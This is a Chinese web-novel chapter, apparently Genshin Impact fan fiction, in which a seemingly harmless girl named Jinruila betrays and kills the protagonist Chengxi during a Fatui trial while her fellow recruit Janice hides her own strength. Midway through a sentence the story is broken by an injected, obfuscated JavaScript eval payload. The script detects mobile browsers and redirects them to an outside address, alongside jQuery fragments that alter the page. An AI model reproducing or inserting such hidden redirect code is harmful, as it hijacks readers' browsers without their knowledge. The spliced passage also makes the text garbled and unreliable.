是贾妮丝。 千钧一发之际,她用力掷出了剑,撞偏了火斧丘丘暴徒的攻击。 乘晞终于得到喘息,迅速从地上爬起。 “退远点!”贾妮丝紧接着赶到,召剑入手,向丘丘暴徒刺去。 锋刃相交,金属碰撞声音不断。 贾妮丝似乎挂了彩,肩头处的衣料被划裂了长长一道。但手中依然紧握着剑,挡住魔物的武器。由于都是火元素属性,她与火斧丘丘暴徒打得有来有回。 乘晞谨慎的向后退,避免被战火波及。 他心脏砰砰跳着,猛然起身还有些头晕。 就差半秒、甚至不到半秒,他就要使用面板传送了。但贾妮丝在这瞬间及时出手,止住了强敌。 万幸,乘晞想。传送能力是他的底牌,使用得当能在关键时刻救命,但暴露于人前也会遭遇风险。 自昨日起,两人向他提出组队,乘晞就觉得蹊跷。今日又先后偶遇,令他心中疑云更甚。若非万不得已,乘晞绝对不打算在旁人面前暴露自己的秘密。 乘晞观察着不远处的交锋。 贾妮丝在带伤状态下,依旧能够单抗丘丘暴徒。即便二者都是火属性,在元素生克上互不相让,但纯靠力量与战斗技巧,贾妮丝依然占据上风。 她虽然没有办法速战速决,但持续消耗到现在,丘丘暴徒的动作已经开始迟钝。 金瑞拉也在观战。 短刀旋转着,被她挽了个灵巧的换手刀花。 随后金瑞拉另一只手伸进衣兜里,捏起了什么东西。 丘丘暴徒发出嘶哑的吼叫,终于被贾妮丝打倒。 她解决完剩余的几只残兵败将,带来了掉落物。是几张破损的面具和箭簇。 乘晞与金瑞拉一致表明,掉落物全归贾妮丝所有。“你救了我们的命,我们不能收。” 但贾妮丝坚持将战利品塞入二人手中,“我们是队友,我保护你们是应该的。” 她原本以多关照队员的名义,想让乘晞与金瑞拉将掉落物对半平分,在二人的坚持推拒之下,才勉强改为三人均分。 就这样,乘晞与金瑞拉各自获得了两张面具,而剩余的一张面具与一只箭簇归贾妮丝所有。 乘晞将面具挂在腰间,心中的疑惑不减反增。 不仅在关键时刻力挽狂澜,还无私的送出了战利品。贾妮丝作为神之眼持有者,不怠慢他们这样的普通人就算了,竟然宁愿牺牲自己的试炼排名来给他们增添战绩。 她明明与他们素不相识,为什么会这样做? 几人沿着山路下行。 贾妮丝敏锐的注意到什么,“小心。” 她示意乘晞与金瑞拉停下脚步,在原地驻足观望。 “怎么了吗?”乘晞压低声音。 “有动静。”贾妮丝回答。 乘晞与金瑞拉对视一眼,在彼此脸上都看到了疑惑。大概是因为神之眼持有者的感官比常人更加敏锐,贾妮丝能注意到二人感知不到的异常。 “躲起来。”贾妮丝说,“有大家伙。” 此时空气中传来隐隐的震颤。 乘晞眯眼望去,能在风雪中辨认出依稀的庞大钢铁轮廓。 “快走。”贾妮丝拉起乘晞与金瑞拉,钻入路旁的树林。 “是什么东西?”金瑞拉有些恐惧的问。 “遗迹守卫。”贾妮丝神色凝重,“如果正面遭遇,我一个人都不一定能保全自己,带着你们两个就更危险了。” “可是姐姐你很能打的,”金瑞拉道,“两只丘丘暴徒都被你击败了。” “和这种大家伙比起来,根本不是一个量级的东西,”贾妮丝解释,“丘丘暴徒是魔物,而遗迹守卫是钢铁机械。传闻它们是已经覆灭的古老国度遗留的产物,会无差别的攻击所有路过的人和物。” 见金发姑娘恐惧的颤抖,贾妮丝意识到自己是队伍唯一的主心骨。她抓着乘晞与金瑞拉的手臂紧了紧,拉着二人向树林深处走去,“别怕,还有我在。” “就算遇到最坏的情况,我也不会丢下你们不管。一只遗迹守卫,我咬咬牙也能打,到时候你们就只管跑。” 贾妮丝还想说什么,就脚步一僵。 乘晞注意到她的异常,“怎么了?” 贾妮丝缓缓抬眼:“……不只一只。” “!”简短的四个字,令乘晞背后一凉。 他也望向林立的树丛,虽然没有听见声响,但并未质疑对方的判断。 “就在我们前方。”贾妮丝补上后半句话。 前后都有强敌,只能从左右方向二中选一。 贾妮丝拉起乘晞与金瑞拉,朝着右手边小跑起来。 凌乱的脚印落入积雪,三人钻入灌木丛中。裹着霜雪的枝条横生,赶起路来并不轻松。被踩过的枯枝细碎,咯吱作响。 跑了才一会,金瑞拉就剧烈的喘息起来。而乘晞事先服用过体力药剂,此时呼吸只是急促了些许。 机械的隆隆声音在耳边若隐若现,确实有遗迹守卫在靠近树林。 三人加快了奔逃的脚步,但贾妮丝却忽然刹住,惹得另外两人一个趔趄。 “怎么了?”乘晞问。 贾妮丝将他拉了回来,语气是前所未有的凝重:“还有。” 金瑞拉似乎不愿相信:“还有……什么?” 贾妮丝指向前方:“第三只遗迹守卫。” 现在折返回去,很有可能遭遇先前来自两个方向的遗迹守卫。她残忍的道出事实:“我们被包围了。” 乘晞从没想过事情的走向会是这样。明明不久前他们还在分享战利品,现在情况却一百八十度大转弯,落入被强敌围困的处境。 三只遗迹守卫距离他们尚有一段距离,当务之急是尽快撤离,在彻底落入包围圈之前寻找脱困的机会。 “遗迹守卫是机械造物,只执行战斗程序,并不具备战斗思维。”贾妮丝给众人鼓气,“我们看似被包围了,但实际上它们没有神志,可能只是受到深渊力量影响,才形成这样的运动轨迹。” “所以不要怕,”她抓起二人的手,“我们可以逃出去。” 机械的嗡鸣声越来越近,敲打着乘晞的耳膜。震得人心跳隆隆,脉搏急促的起伏。 贾妮丝却能在杂乱的声音中,分辨出哪个方向相对安静,带着二人朝可能的逃生路线行进。 三人踩着林间崎岖的路,奔跑了好一会。期间金瑞拉不慎摔倒过一次,乘晞也觉得体力药剂的效用被消耗了多半。 可或许天不作美,嗡鸣声音未曾消散,反而越来越近了。 乘晞喘着粗气,无比清晰的认识到——他们终究还是陷入了包围圈。 贾妮丝手中的力度加大,带着二人朝声音最为剧烈的方向跑去。 乘晞并没有质疑,但金瑞拉尖声问,“你为什么往这边走?” 显然她认为这种行为等同于送死,情绪已经达到崩溃边缘。 “别慌!”贾妮丝也提高了声音,“现在无论去哪个方向,都逃不过应敌。但那边声音更杂乱,隐约有金属碰撞,我猜是有人战斗。” 她语速很快,“遗迹守卫相对更弱,还能多一位战力,我们的胜算更大。快,跟我走!” 随着距离的拉近,乘晞也终于听到了交错的战斗声音。 庞大的棕色机械立于丛林之中,正与一道魁梧的身影缠斗。 乘晞定睛一看,发现又一个认识的人——是那位灰发平头男。 对方持有双手重剑,横住一抵,挡下了朝他挥来的机械臂。 遗迹守卫作为人形战斗机械,具有较长的四肢,弱点在头部的橙黄色的圆形动力核心处。那个位置近三米高,如果采用弓箭有几率命中,可惜贾妮丝与灰发男都用剑,近程武器在这种对抗下十分不占优势。 这只遗迹守卫似乎已经战斗好一会了,左臂被削断多半,脚掌也缺失了部分,钢铁躯体上零件有大大小小的破损。 灰发男分神朝这边看了一眼,“是你们?” 他抬手给乘晞和金瑞拉套了个风盾,避免二人被剑气波及。乘晞第一次身临其境的被元素护盾套住,伸手贴了贴内壁,感觉像在触碰一个大型悠波球。 贾妮丝抽身而上,协助灰发男抗敌,一边说明情况,“树林被包围了,那边不同的方向还有两只。” 二人合力一击,将遗迹守卫的另一只机械臂斩断。 钢铁机器失去双臂,发出愤怒的低吟。它抬脚去踩,贾妮丝迅速撤身后退。 灰发男则在此时跃起,周身浮现出浅碧的风元素力,将他送至半空。重剑对准遗迹守卫头部的中心,全力一戳。 伴随着碎裂声响,橙黄的核心缓缓熄灭。遗迹守卫也彻底失去了支撑,轰然倒塌在地。 周遭树木摇晃,枝头的积雪簌簌落地。保护在乘晞与金瑞拉周身的风盾,也随着震颤的余波消散。 “这个方向也不安全,”灰发男指向身后,“我是被两只守卫追着来的,甚至还有一只遗迹猎者。” 乘晞倒吸一口冷气。 遗迹守卫只在地面行走,遗迹猎者却能飞至半空,与之对战的困难程度翻倍。 “往回返!”贾妮丝与灰发男几乎同时做出了决定。 带着两个无战斗力的人,比起对付遗迹守卫与遗迹猎者,他们情愿选择应对两只遗迹守卫。 贾妮丝拉起乘晞,对灰发男道,“我带一个你带一个,快走!” 两位年轻人体力严重告急,拥有神之眼的二人便主动担起救援责任。 灰发男于是也背起了金瑞拉,朝反方向快步离去。 乘晞几乎是被贾妮丝抄起来的,他感觉自己仿佛是个腋下包。贾妮丝爆发出了与外表完全不符的力量,乘晞晕乎乎的感叹,神之眼果然会为持有者的躯体带来可观的强化程度。 其实如果论方便程度,自然是男带男女带女好一些。但贾妮丝却第一时间捞起了自己,乘晞有些疑惑,难道是因为当时情况紧急?可也说不通——分明金瑞拉距离贾妮丝更近。 不过比起灰发男,乘晞确实更加情愿与贾妮丝一起。 在战斗力上他远不及二人,与灰发男只见过几面、不清楚立场如何,但与贾妮丝经历了这段时间的相处,他即便仍有疑惑,也倾向于对方不会出做害人的事情。 手上传来湿漉漉的感觉,拽回他的思绪。乘晞屈起手指,发现是鲜红色的血。 贾妮丝在早先的战斗中受了伤,此时带着乘晞又肩膀发力,恐怕扯动了伤处。 乘晞顺着对方衣料被划破的地方,将手掌按下去,想要帮对方压住止血。 但贾妮丝已经减慢了脚步,放下乘晞。 那两只包围而来的遗迹守卫,就在前方数十米外。 灰发男也将金瑞拉落到地面上。 “听着,”他迅速道,“等下我们去吸引注意,引走遗迹守卫,你们朝那边跑。” 乘晞看着对方指明的方向,意识到这二人要做什么——他们决定带着这两只遗迹守卫,与身后追来的遗迹猎者汇合。 两位神之眼持有者打算将所有的敌人引到一起,以自身被包围的代价,换两位弱者逃离。 “可是……”乘晞看向贾妮丝。 “没有可是。”贾妮丝默认了他的猜测。 “乘晞,跑。”她按着乘晞的双肩,“跑吧,越快越好。朝树更茂密的地方跑。” “你……”乘晞脑中涌现出很多话语,但时间紧迫,没有多久能留给他道别,“你要活下去。” 他记得在冬日旅店,面临争论与讥嘲,贾妮丝与他一起为散兵讲过话,这是短暂的相处中他与对方为数不多的共同之处:“活下去才能做想做的事情。” “你也是。”贾妮丝郑重的看着对方的眼睛,“活下去,才能再见到想见的人。” 乘晞想说他可以传送,想说他可以靠自己逃脱袭击,可眼下的情形完全没办法解释。 他只得迅速从面板背包中取出药剂,借着衣袖的遮掩,如同从袖口掏出那般,一股脑的塞给对方,“增益魔药,你拿着。” 贾妮丝看也不看的接过,将他向身后一拽,“躲好。抓准时机。” 金瑞拉与乘晞站到一起,灰发男再度给二人套了个风盾。 遗迹守卫近在眼前。 沉重的脚步交错靠近,巨物折断了沿途的树干。 贾妮丝与灰发男对视一眼,提着附魔的武器奔上前去,吸引了两只巨大机械的注意。 与此同时,灰发男反手拍出一股强烈的风元素力,推动球状风盾朝离开的方向行进。 “等盾破了你们就自己跑!” 天旋地转。 眼前的事物也跟着缭乱,战斗场面淹没在树林与白雪之中。 球形风盾在外力的作用下不断滚动,乘晞与金瑞拉也跟着被迫旋转。风盾颠簸,时而撞到树干,时而压过石块,内部的乘晞与金瑞拉也接连互撞了好几次。 等风盾终于停下,它凝固的元素力也被磨损得几近消失。表面布满蛛网状裂隙,破成碎片,随后消散于无形。 乘晞头晕眼花,坐在地上掐眉心。 颈侧一冷。 有什么冰凉的东西横在了他的脖颈上。 “哎呀,”金瑞拉声音甜美,却带着某种危险的刻毒,“只剩我们两个人了呢。” 乘晞用力的闭了闭眼再睁开,让视野重回清晰。 金瑞拉手持短刀,将刀刃紧贴乘晞的脖颈,欣赏对方面上的神色。 却见乘晞既不沮丧也不恐惧,甚至连惊讶都没有多少,反而露出些恍然。 “原来是你。” “什么是我?”金瑞拉问。 “有问题的人,”乘晞说,“是你。” 从进入秘境后的种种,他就总觉得哪里不对,此刻终于有了解答。 金瑞拉另一手抓着乘晞的肩膀,五指如同铁钳般牢固。 “你最好老实些,”她勒令对方双手处在她的视线范围内,交握置于身前,“别搞什么小动作。” 乘晞已经在意识中唤出了面板,他打开地图传送,却显示[当前状态无法传送]。 乘晞心头大震,怎么会?! 他接连尝试了好几次,但无论重试还是改变落脚点,都没有一次成功。 “他们和你什么关系?”金瑞拉问。 乘晞知道,对方问的是贾妮丝与灰发男:“我不知道。” 金瑞拉打量着乘晞的神色,似乎在辨认对方有没有说谎。 “我猜也是。” “他们和你又是什么关系?”乘晞问。 金瑞拉笑了一声,“我也不知道。” “老实交待,”刀锋威胁性的陷入皮肉,“你加入愚人众有什么目的?” “千里追爱。”乘晞即答。 “都这种时候了,还有心思说胡话。”金瑞拉持刀的手用力。 锋利的刀刃划破颈侧肌肤,锐痛过后有血流出来,留下一道鲜红的血线。“我没在和你开玩笑!” “我没有说谎。”乘晞并不退缩的与她对视。 金瑞拉停顿片刻,手指用力一拧,将乘晞被抓着的肩关节卸掉。 筋骨在她手下扯断,暴力脱臼引发难以忍受的疼痛,金瑞拉满意的看着乘晞吃痛的表情。 “一个小教训。”甜美又刻毒的声音说。 乘晞辨不清方向,被对方挟持着在林间前行。 机械的嗡鸣声顺着风传来,似乎与二人的距离越来越近,但金瑞拉并未停下脚步,甚至连迟疑都不曾出现。 异形机械于半空中显露庞大的身形。 它有四条机械臂,正下方的环形装置里螺旋桨高速旋转,使躯体悬浮在半空——是遗迹猎者。 乘晞后退不得,被刀锋逼着上前。 遗迹猎者却并未发动攻击,而抬起下方的机械臂左右横抄,将二人托在了掌中。 遗迹猎者的机械臂能自如变形,组合成为轰炸装置,手掌也可以化作尖刺或刀锋。但这架难缠的古老器械,此时却没有表现出任何攻击性,只如同最普通的载具一般,带着二人低空飞行。 金瑞拉竟有某种手段能控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442107|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制魔物! 乘晞缓缓看向对方:“……也是你做的手脚。” 金瑞拉却似乎有了闲聊的兴致,“怎么发现的?” 乘晞回忆起进入秘境后撞见的种种怪事。 金瑞拉和他偶遇的时候,说自己是追着史莱姆来的。细想真的很奇怪——每个参与者都被随机传送,虽然乘晞停在原地服用药物和准备道具,但在这段短暂的时间内,金瑞拉就能在偌大的秘境里精准与他相遇,是巧合的可能性太低,很难不因为在刻意寻找。 紧接着二人与贾妮丝组队,他们征讨丘丘人营地,却遭遇了连贾妮丝都未曾事先察觉的、在混乱中突然冲出的火斧丘丘暴徒。当时贾妮丝战斗缠身,还好在关键时刻赶回施救,才勉强将困境解决。 丘丘暴徒只对着乘晞一人打,对旁边被吓呆的金瑞拉视若无睹。乘晞曾想过是魔物被深渊力量影响的缘故。 但金瑞拉能够影响魔物的神志,控制对方的行为,显然才是这处疑点更加合理的解释。 再后来就是刚才的遭遇。三人赶路,却遇上遗迹守卫,如果贾妮丝也没有神之眼,他们甚至连提前跑路的机会都没有,很大概率被遗迹守卫贴脸杀。 几人藏入林中,却没能逃出机械的围堵。数次绕路,最终依旧无处可逃。好不容易遇上了战力较强的灰发男,却因为敌众我寡,仓促之间决定以身诱敌。负伤的贾妮丝选择为弱者开辟生路,却没有想到——看似柔弱的金瑞拉,根本就不是弱者。 金瑞拉“啊”了一声,“你看起来,很为她感到不平呢。你真的不认识贾妮丝吗,我都有些怀疑你们的关系了。” “我千算万算,关注点总落在有神之眼的人身上,”乘晞苦笑,“恰恰因为思维盲区,忽略了并不起眼的你。” “还算有点脑子,”金瑞拉嗤了一声,“可惜并不多。” 悬浮的遗迹猎者降至地面,机械臂倾斜,将二人放了下去。 它竟将二人带回了先前的那片山坡。 附近满是凌乱的战斗痕迹,残破的丘丘人营地上积累了一层薄薄的雪。 乘晞:“为什么来这里?” 金瑞拉不答,只是挟持着他,走入丘丘人的巢穴。 绕过倒塌的哨台,地面堆叠着碎裂的木片,打翻的瓦罐和木桶滚在一旁,露出残缺的兽骨与干瘪的蔬菜。 几张图腾旗帜烧得焦黑,显然遭遇过火元素的侵袭,却因冰雪寒冷,最终自然熄灭。 这个位置,贾妮丝曾与木盾丘丘暴徒激战过。 金瑞拉将乘晞按向地面,“自己看。” 烧焦的栅栏旁边,是曾属于丘丘暴徒的木盾。表面漆黑,看上去被灼烧了许久,里侧却有不规则的增生,多半是魔物再度凝聚元素力,试图加固护盾,却因外力打断而被迫终止。 这张厚重的木盾,从上至下裂成了两半。裂口齐整,不能看出下手者干净利落——显然是锐器切割所致。 乘晞看着那平滑的断面,心头一跳。 厚盾整体呈带着弧度的长方形,真要斩断的话,拦腰斩断比竖向斩断更为容易。且断口处散布着木质增生,并非整张盾牌最为薄弱的地方。即便要将其斩断,此处也并非最合适的下手位置。 最重要的是——能一剑斩厚盾的贾妮丝,为什么会与丘丘暴徒纠缠许久,甚至还负伤在身? 金瑞拉终于欣赏到乘晞变幻的神色:“有意隐藏实力的,可不止我一个人。” 若非救乘晞心切,贾妮丝也不会为了脱身而速战速决,在丘丘暴徒的盾上留下如此明显的破绽。 乘晞想不明白,“可她为什么要藏?” “你慢慢猜吧。”金瑞拉不解释了,“谜底就是要透露一半、保留一半,才最有意思。” 乘晞重新审视其金瑞拉来。 这个金发姑娘看似无害,却能够操控魔物。利用召来的那只火斧暴徒,不仅威胁了乘晞的性命,还成功试探了贾妮丝的深浅,可谓是一箭双雕。 但金瑞拉没有告诉乘晞,那只火斧丘丘暴徒并非她所召来,而是从一开始就在营地里。 只因为放下火斧,被树丛后的木棚挡住,藏在了众人视线的死角位置。 以贾妮丝神之眼强化下的感知能力,真的会注意不到吗? 但在观测魔物敌情的时候,对方却瞒报了第二只丘丘暴徒的存在——那一刻,金瑞拉心中浮出了某种猜测。 早在进入秘境追踪乘晞的时候,她就存了些试探的心思。见到疤脸男的小队在不远处,金瑞拉故意上前挑衅后逃跑,打算将这伙人引去乘晞那边。 她以追逐史莱姆为借口,成功与乘晞相遇。但等了片刻没见疤脸男,却等来了贾妮丝,金瑞拉才知道是贾妮丝击退了那伙人,也刚好在这里与二人相遇。 原本制造好的冲突被人解决,还多了个立场不明的强者在旁,金瑞拉十分不爽。她以为贾妮丝多半站在乘晞那边,但丘丘营地旁对方的瞒报,令金瑞拉意识到,贾妮丝的立场似乎也并不倾斜彻底。 于是在火斧暴徒冲出的时候,她后装作惊慌的模样躲在了乘晞身后。看到贾妮丝在危急时刻出手,金瑞拉便能够确定,对方虽同样想试探乘晞,却并不希望乘晞出现性命之忧。 一个新的计划在心底形成。金瑞拉不再纠结于贾妮丝的立场,因为那已经不重要了——对方是个道德感比较高的人,而这样的人对付起来简直再容易不过。 接下来她使用身上的道具,吸引了附近的遗迹守卫。即便贾妮丝察觉到危险带二人奔逃,但有随时调整吸引信号的金瑞拉在,事情并不会出现任何转机。 虽然后面还偶遇了灰发男,但金瑞拉有柔弱的保护色在身,骗过所有人达成与乘晞的独处轻而易举。 自此,可能影响金瑞拉动手的所有干扰因素都被清除。 金瑞拉挟持着乘晞,来到旁边一块大石旁,靠坐了上去。 她晃动着手中的刀柄,“聊天时间——结束。” 金瑞拉压住乘晞的肩膀,“现在,向我展示一下你的特别之处吧。” 乘晞转头:“你指什么方面。” “装傻可不是好习惯。”金瑞拉一边向乘晞的伤处施力,一边将刀刃移至他的脖颈正中。 刀柄下压,表层凝结的血液再度被溢出的鲜血润湿,“我的耐心很有限。” 乘晞忍着痛,与对方对峙。 金瑞压着刀刃,使其一点点陷入皮肉。血线缓缓溢出,在乘晞的颈间蜿蜒而下。 她没有伤及乘晞的动脉,因此并不不致命。但只需数秒,对方的气管就将被切开,“不说的话,你这辈子都不用再说话了。” 乘晞早已在意识之中展开面板,找准时机做出了决定—— 金瑞拉手中的短刃凭空消失。 乘晞将其收纳进了背包。 也在同一时刻,清脆的碎裂声响传来,乘晞将手中的东西径直挥向金瑞拉的双眼。 他手里攥着放热瓶,是进秘境后就取出来的那枚。放热瓶类似异世界的暖手宝,在金瑞拉眼中不具有任何威胁性。但乘晞清楚这属于炼金造物,瓶中的热源是烈焰花花蕊的浓缩提取物,威力不容小觑。 二人所在的位置刚好倚着岩石,石块侧面有棱角,方便他将放热瓶砸碎。 乘晞计算了反击动作的每一个环节。金瑞拉没有见过他的特殊能力,手中的武器骤然凭空消失,一定能造成对方短暂的惊诧。 趁金瑞拉惊讶愣神的短暂瞬间,乘晞用完好的那只手臂敲碎放热瓶,攻击对方的双眼。碎裂的断片必然锋利,就算万一没能近身,内部的高温提取物泼洒出去也能造成伤害。 只要金瑞拉的视觉丧失,就成了无头苍蝇,没有办法在武力上对乘晞形成压制。 掌心很痛,乘晞猜测大概是碎片刺入了手掌。 成败在此一举。 眼前泛起一层暗红。 乘晞险些以为自己出现了幻觉,紧接着就出现强烈的窒息感。 手指传来被灼烧的疼痛,碎片掉落在地。乘晞的脖颈被金瑞拉扼住。 他视野中蒙上的红色终于消失,乘晞也才能看清,金瑞拉眼中露出的嘲弄——对方整个人竟然毫发未损! 但怎么可能…… “隔空取物。”金瑞拉俯视着乘晞,“原来这就是你的秘密。” “可惜你机关算尽,自始至终都没能意识到。”金瑞拉单手扯开斗篷。 在她臂侧,露出被隐藏的火元素神之眼,闪着猩红的光。 “——我也不是没有神之眼的普通人。” 乘晞终于明白过来。先前出现的并非幻觉,那层暗红是对方调动的火元素力。神之眼天然赋予持有者对应的元素抗性,能够抵挡自己重伤状态击出的伤害。 自己费尽心思的筹谋,在实力的差异面前如同玩笑,不堪一击。 颈间的手指缓慢收紧。 乘晞艰难的呼吸着,在意识中调出面板。他尝试了数次传送,但依旧无法成功。 乘晞唇色已经因缺氧泛起不正常的浅紫,“为什么……” 他如同无数穷途末路的濒死者那样,哑声问,“是谁……派你来的?” 金瑞拉喜欢欣赏对方垂死挣扎的模样,但并没有兴趣答疑解惑。 “在临终前将答案告知,好让你瞑目吗?”她微笑道,“我还是比较喜欢让人死不瞑目。” 乘晞冷不防说,“多托雷干的?” “!”金瑞拉的手指骤然收紧。 乘晞在心中无声骂出一种元素。 他对金瑞拉的立场并无明显头绪,只是本着“有锅在手扣一下试试看”的原则,顺道提了嘴博士——没成想对方露出这种反应,居然真让他猜得八九不离十。 “你现在更该死了。”金瑞拉再度将手伸进衣兜。 很快,机械的嗡鸣声靠近。 遗迹猎者悬浮着来到二人身后。 乘晞被禁锢着,没办法转身。他看不到半空的情形,但听声音也不难猜到发生了什么。 钢铁造物终于在此刻显露出属于杀器的本色。 机械臂的前端幻化成为尖刺。 随后屈起又伸直,瞄准银发少年的后心刺入。 乘晞喉间发出破碎的音节,脱力后仰,双脚离开地面。 尖锐的、撕裂般的疼痛,毫无预兆的出现,在一瞬间席卷他的大脑。乘晞浑身僵直,甚至连呼吸都没有力气。 金瑞拉松了手,欣赏着金属尖端破开血肉、破开衣料,从少年胸膛透出。 遗迹猎者那条半米多长的裁镶之刃,将乘晞捅了个对穿,紧接着毫不犹豫的抽离。 机械臂甩掉黏着的鲜血,银发少年也因此失去了支撑。他被丢到地上,如同一具残破的布偶。 汩汩冒出的血液不断流淌,很快在身下聚成一滩。 乘晞隐约看到金瑞拉的嘴唇动了动,但他已经无法听清对方的声音。 金发姑娘袖手旁观,甜蜜的音色里不带任何惋惜,“死人才可以保守秘密。” 21.21 金瑞拉将手从衣袋抽出,停下了对遗迹猎者的控制。 银发少年面色灰败,倒在血泊之中。 金瑞拉看着乘晞了无生气的躯体,弯下腰,从对方鞋边扣下了一块指甲盖大小的薄片。 那是特制的定位装置,背侧带胶,她前日趁乘晞不备留在对方身上的。金瑞拉将定位片捏碎,掌心浮起火焰,将碎块烧成了飞灰。 余光注意到某种熟悉的颜色,金瑞拉站起身的动作一顿。 她捏着乘晞的衣摆,向外一翻。在内侧的缝线边缘,赫然黏着一块类似的定位片! 指尖捻过那张并非出自她手的薄片,金瑞拉蹲在乘晞身旁,以熟练的手法迅速搜查了乘晞全身,从脚到头的摸索一遍后,在对方衣领处找到了第三枚定位装置。 她捏着新发现的两枚定位片,对着光瞧了瞧,“同行啊。” 看来这位乘晞不仅引起了她们大人的注意,也同样吸引了来自别处的目光。 愚人众有独立的信息网络,即便在异国他乡执行任务,也能对至冬发生的事情了如指掌。散兵回城那日与博士的龃龉,发生在众目睽睽之下,内部更是传得人尽皆知。 散兵一向冷不近人,能被他当面保护的乘晞,绝对不会是什么平凡之辈。 金瑞拉接到上层的吩咐,接近乘晞并查探对方的特异之处。她自然不允许公然挑衅她们大人权威的人存在,更何况乘晞猜出了她的身份,便更不能留对方的性命。 金瑞拉漠然看向乘晞的尸体。银发少年胸口血肉模糊,伤口的形状明确昭示着是遗迹猎者所为。即便事后有人查探,也不会与她扯上分毫干系。 确保一切都收拾干净,金瑞拉指尖再度燃起火焰。她本想将这两枚定位片同样销毁,但转念一想,又收了手中的火元素力。 贸然销毁的话,会引起注意。不如给那两位同行的工作添些乐趣。 贾妮丝这三个字多半是个假名,而那位灰发男也不知姓甚名谁。但愚人众研发的定位芯片昭示着他们的身份,与金瑞拉多半是同事,只是不知隶属哪位执行官名下。 不远处的灌木丛上落着几只云雀。这种鸟虽然飞得不高,但活力旺盛,白日里的多半时间都在飞翔。 金瑞拉捉了两只云雀,将定位片分别黏在鸟翅上。随后松开禁锢,雀鸟扑棱着翅膀,先后飞远了。 什么“强者就应当保护弱者”“你们先走我们断后”……回想着贾妮丝与灰发男的所作所为,金瑞拉发出一声轻嗤。 真是叫人作呕。 能在愚人众里爬到这个位置,谁手里还没有过几条人命了?偏偏还装出这种大义凛然的做派,伪善得令她发笑。 那两位不知姓名的同行恐怕并不清楚,这整片秘境,乃至本次愚人众的招新试炼,都是博士大人一场研究的一环。秘境内的所有人,能成为博士大人实验的消耗品,就已经三生有幸。 云雀早已不见踪影。金瑞拉系好斗篷,走入风雪之中。 * 密林中,贾妮丝自从与灰发男分道扬镳之后,整个人的气质都沉着了几分。 遗迹守卫在她身后穷追不舍,她的步伐却并不慌张,带着大家伙兜圈子,朝僻静的方向而去。 等跑出足够远的距离之后,贾妮丝原地站定。她扭身回看,单手剑亮起一层赤红的荧光。 遗迹守卫追到了猎物,当即弯起机械臂,两只手掌一左一右,向贾妮丝夹击而来。贾妮丝却身形一矮,借着惯性不退反进,避过遗迹守卫的攻击。 战斗机械自然不允许人类近它的身。两条机械臂拦断身后的退路,遗迹守卫抬起腿,就要将贾妮丝踩于脚下。 贾妮丝猝然跃起,如同猎豹一般,借着遗迹守卫的动作,爬上了它的半腰。 遗迹守卫发出恼怒的嗡鸣,试图驱赶这个攻击它的人类。 贾妮丝的反应更为灵敏,手脚卡在机身的凹凸处借力,连续变换自身的位置,使遗迹守卫的每一次攻击都落空。 钢铁巨械大幅度晃动着,贾妮丝在半空中被甩了半圈,好在始终抓着齿轮状的零件没放,最终攀上了遗迹守卫的耳朵。 遗迹守卫齿轮旋转,双耳不断伸缩,想要摆脱贾妮丝的纠缠。而覆满火元素的长剑已经在贾妮丝的操纵下,径直刺入它的头部正中。 保护能源核心的屏障被击破。贾妮丝旋转剑柄,裹挟着火焰直击遗迹守卫的弱点。 令人牙酸的摩擦声音不断,细碎的火花飞溅而出。 贾妮丝却如同感觉不到灼烧一般,任由半截小臂淹没于火焰之中,直到遗迹守卫的核心熄灭,才抽手收剑。 她轻巧的落回了地面。在她身后,遗迹守卫缓缓倒塌。 贾妮丝方才展现出的战斗技巧,全然不是初入愚人众的新人能够掌握的。她环顾四周,确认这里没有第二个人在,才走向机械的躯体,将掉落的混沌回路用剑挑了出来。 储存能量的回路已经失去光彩,中央烙着一枚深紫色的印记,时隐时现。 这大概就是所谓“深渊力量影响”的表现了。贾妮丝盯着那枚印记看了片刻,也没看出个所以然,便将混沌回路收了起来。 “真不知道在搞什么鬼。”她嘀咕。 从对战感受来看,受深渊影响的遗迹守卫更加狂躁,攻克的难度翻了一番,想必秘境内的其他魔物也是如此。 对贾妮丝而言可以战胜,对其余毫无作战经验的参与者就不一定了。仅仅为了提高试炼难度吗?贾妮丝并不相信动机会如此单纯,但第二席执行官的心思也并非她能够揣测。 她找了片空地修整,查看自己肩头的伤处。 触手是湿润的血迹,贾妮丝先前就已负伤,在与遗迹守卫战斗的过程中牵扯了伤处,让未能愈合的伤口被撕扯更甚。 她常年在外执行任务,这种程度的疼痛对她而言完全能够忍受。贾妮丝面无表情的取出绷带,简单清理伤口之后,为自己包扎。 衣袋里有什么东西滚了出来。看清楚那是个透明的药剂瓶,贾妮丝想起乘晞临别前塞给她的魔药。 她将那些药剂取出,拿在眼前细细端详。瓶内的药剂闪着碎光,鲜艳的色泽如同流沙般浮动。 虽然没有贴标签,但贾妮丝也能认出其中一瓶是敏捷药剂,用以提升服用者的体力和移速。 她之所以对这种药剂记忆深刻,是因为那令人咋舌的价格。 这种药剂十分考验配制者的炼金技巧,贾妮丝上一次见到,还是在某个高端店铺精致的橱窗里。 她手中的这瓶体力药剂呈现出蓝绿的颜色,静置之后缓慢分层,下端为湖蓝色,上层则为浅绿,中间区域形成了奇妙的渐变过渡。从品质上看,是能够参展的级别。 药瓶晶莹剔透,贾妮丝最开始以为是玻璃,但看着折射出的光线才意识到,通体都由纯水晶打造。 “……” 水晶瓶碰撞叮当响。贾妮丝震撼的看着那堆五光十色的昂贵药剂。 乘晞居然一股脑给了她这么多瓶——这家伙究竟是什么来头? 想到银发少年,贾妮丝拿出自己的通讯器。 她切换几次页面,看着上面不断挪移的定位,不由笑了一声,“真有活力。” 前脚跟随自己惊险逃命,后脚还能这么精力旺盛。看来乘晞有魔药傍身,应当不会陷于险境。 这样想着,贾妮丝也放下心来,专心处理起自己的伤口。 